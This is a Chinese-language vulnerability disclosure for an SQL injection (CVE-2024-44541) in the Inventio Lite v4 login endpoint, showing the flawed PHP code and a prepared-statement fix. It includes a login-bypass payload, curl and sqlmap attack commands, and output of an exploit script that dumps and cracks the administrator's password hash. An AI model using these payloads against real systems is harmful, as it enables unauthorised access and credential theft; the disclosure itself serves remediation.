Inventio Lite v4 在 /action=processlogin 端点存在 SQL 注入（SQLi）漏洞。攻击者可通过 POST 请求中的 username 参数注入任意 SQL 查询，可能导致未授权访问和数据窃取。
漏洞代码如下：
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
漏洞代码截图：
该问题已通过使用预处理语句修复：
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
要利用此漏洞，请使用以下 Payload：
user -> ") or 1=1-- -
pass -> blablalba
使用 curl 发起攻击的示例：
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
要自动化利用漏洞并提取管理员的用户名和密码哈希，可以使用提供的 Python 脚本 sqli.py。
你可以克隆此仓库：
git clone https://github.com/pointedsec/CVE-2024-44541
然后使用 pip 安装依赖：
pip install -r requirements.txt
根据需要修改脚本中的以下变量：
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"然后执行脚本，脚本将导出管理员用户名和哈希，并尝试使用 SHA1(MD5(password)) 格式破解该哈希。
示例输出：
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
机密性： 攻击者可导出整个数据库，泄露用户凭据和个人信息等敏感数据。
完整性： 攻击者可绕过身份验证并获得管理员访问权限，从而修改或删除数据。
此漏洞报告由 Andrés Del Cerro 发现。如需了解更多详情，请通过 [email protected] 与我联系。